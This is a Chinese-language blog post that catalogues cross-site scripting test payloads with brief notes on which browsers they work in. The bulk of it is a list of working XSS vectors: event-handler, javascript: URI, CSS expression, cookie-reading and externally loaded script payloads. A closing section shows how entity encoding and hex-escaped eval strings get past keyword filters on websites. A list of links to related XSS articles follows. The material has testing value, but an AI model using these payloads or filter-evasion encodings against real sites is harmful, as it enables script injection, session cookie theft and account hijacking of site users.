XSS测试用例与原理讲解

简介:
1、<a href="javascript:alert(32)">DIBRG</a>
  2、<img href="javascript:alert(32)">
  在IE下可以,在FF下不可以
  3、<img src=" http://xss.jpg" onerror=alert('XSS')>
  IE,FF下均可
  4、<img STYLE="background-image: url(javascript:alert('XSS'))">
  在IE下可以,在FF下不可以
  5、<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);
  6、XSS转码
  有攻就有防,网站程序员肯定不会放任大家利用XSS,所以他们常会过滤类似javascript的关键字符,让大家构造不了自己的XSS,我这里就捡两个被忽略惯了的字符来说,它们是"&"和"\".首先来说说"&"字符,玩过SQL注入的都知道,注入的语句可以转成16进制再赋给一个变量运行,XSS的转码和这个还真有异曲同工之妙,原因是我们的IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,这种XSS转码支持10进制和16进制,SQL注入转码是将16进制字符串赋给一个变量,而XSS转码则是针对属性所赋的值,下面我就拿<img src="javascript:alert('XSS');">示例:
  <img src="javascript:a
  lert('XSS');"> //10进制转码
  <img src="javascrip
  t:alert('XSS');"> //16进制转码。
  这个&#分隔符还可以继续加0变成“j” ,“j” ,“j” ,“j”等形式。
  而这个"\"字符却暴露了一个严重的XSS 0DAY漏洞,这个漏洞和CSS(Cascading Style Sheets)层叠样式表有很大的关联,下面我就来看看这个漏洞,先举个javascript的eval 函数的例子,官方是这样定义这个函数:
  eval(codeString),必选项 codestring 参数是包含有效 JScript 代码的字符串值。这个字符串将由 JScript 分析器进行分析和执行。
  我们的JavaScript中的"\"字符是转义字符,所以可以使用"\"连接16进制字符串运行代码
<SCRIPT LANGUAGE="JavaScript">
eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29")
</SCRIPT>


最新内容请见作者的GitHub页:http://qaseven.github.io/
相关文章
|
5月前
|
SQL 前端开发
xss原理和防护
为什么要发表这篇文章呢?原因看下图 很无奈,表示xss之前也是听过,只是没有真的去研究过,所以这次为了审核只能研究一番了。 XSS-即Cross Site Scripting. 为了与"CSS"不混淆,故简称XSS.
25 0
|
8月前
|
存储 编解码 安全
浏览器基础原理-安全: 跨站脚本攻击(XSS)
浏览器基础原理-安全: 跨站脚本攻击(XSS)
34 0
|
10月前
|
安全 存储 前端开发
Web 安全 — XSS 的原理和攻防
Web 安全 — XSS 的原理和攻防
111 0
Web 安全 — XSS 的原理和攻防
|
存储 JavaScript 前端开发
XSS 和 CSRF 原理和基本防御方式
XSS 和 CSRF 原理和基本防御方式
|
算法 Java
【JVM原理探索】Thread的stackSize与-Xss参数的区别
【JVM原理探索】Thread的stackSize与-Xss参数的区别
189 0
|
JavaScript 安全 前端开发
XSS攻击原理以及案例说明
XSS攻击原理以及案例说明
|
存储 JavaScript 安全
XSS漏洞原理/方式/防御
SS又叫跨站脚本攻击 , 攻击的对象是客户端 原理 攻击者在Web页面插入恶意JS代码,用户浏览网页的时候,JS代码会被执行,从而攻击正常用户
218 0
|
Web App开发 存储 安全
Web安全系列(一):XSS 攻击基础及原理
跨站脚本攻击(XSS)是客户端脚本安全的头号大敌。本文章深入探讨 XSS 攻击原理,下一章(XSS 攻击进阶)将深入讨论 XSS 进阶攻击方式。 本系列将持续更新。 XSS 简介 XSS(Cross Site Script),全称跨站脚本攻击,为了与 CSS(Cascading Style Sheet) 有所区别,所以在安全领域称为 XSS。
3280 0
|
2月前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
24 0
|
4月前
|
存储 JSON 前端开发
【面试题】XSS攻击是什么?
【面试题】XSS攻击是什么?